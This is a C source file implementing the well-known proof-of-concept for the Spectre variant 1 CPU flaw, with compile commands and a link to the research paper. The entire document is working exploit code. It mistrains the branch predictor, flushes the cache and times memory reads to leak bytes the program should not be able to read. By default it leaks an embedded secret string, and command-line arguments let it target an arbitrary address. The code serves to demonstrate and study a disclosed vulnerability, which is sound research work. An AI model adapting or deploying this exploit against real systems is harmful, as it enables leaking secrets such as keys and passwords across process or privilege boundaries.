CPU flaw: Spectre attack. Proof-of-Concept exploit code implementation in C. https://spectreattack.com/spectre.pdf

spectre.c

/*
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

/*
Try compiling with:
gcc -march=pentium4 -std=c99 -O0 -o spectre spectre.c
gcc -std=c11 -o spectre spectre.c
gcc -march=native -g -O3 -o spectre spectre.c
gcc --std=c99 spectre.c -o spectre
clang -std=c99 -O0 spectre.c -o spectre
clang -O0 spectre.c -o spectre
clang spectre.c
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtsc(p) and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtsc(p) and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
    1,
    2,
    3,
    4,
    5,
    6,
    7,
    8,
    9,
    10,
    11,
    12,
    13,
    14,
    15,
    16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (100) /* assume cache hit if time <= threshold */
#define MAX_TRIES (999) /* increase this if needed */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    //int tries, i, j, k, mix_i, junk = 0;
    int tries, i, j, k, mix_i;
    unsigned int junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t * addr;
    for (i = 0; i < 256; i++) {
        results[i] = 0;
    }
    for (tries = MAX_TRIES; tries > 0; tries--) {
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++) {
            _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
        }

        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush( & array1_size);
            for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
            /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

            /* Call the victim! */
            victim_function(x);
        }

        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = & array2[mix_i * 512];
            //time1 = __rdtscp( & junk); /* READ TIMER */
            time1 = __rdtsc(); /* READ TIMER */
            junk = * addr; /* MEMORY ACCESS TO TIME */
            //time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) {
                results[mix_i]++; /* cache hit - add +1 to score for this value */
            }
        }

        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            } else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) {
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
        }
    }
    results[0] ^= junk; /* use junk so code above won’t get optimized out*/
    value[0] = (uint8_t) j;
    score[0] = results[j];
    value[1] = (uint8_t) k;
    score[1] = results[k];
}

int main(int argc, const char * * argv) {
    size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
    int i, score[2], len = 40;
    uint8_t value[2];
    for (i = 0; i < sizeof(array2); i++) {
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    }
    if (argc == 3) {
        sscanf(argv[1], "%p", (void * * )( & malicious_x));
        malicious_x -= (size_t) array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", & len);
    }
    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void *) malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
        printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        if (score[1] > 0) {
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        }
        printf("\n");
    }
    return (0);
}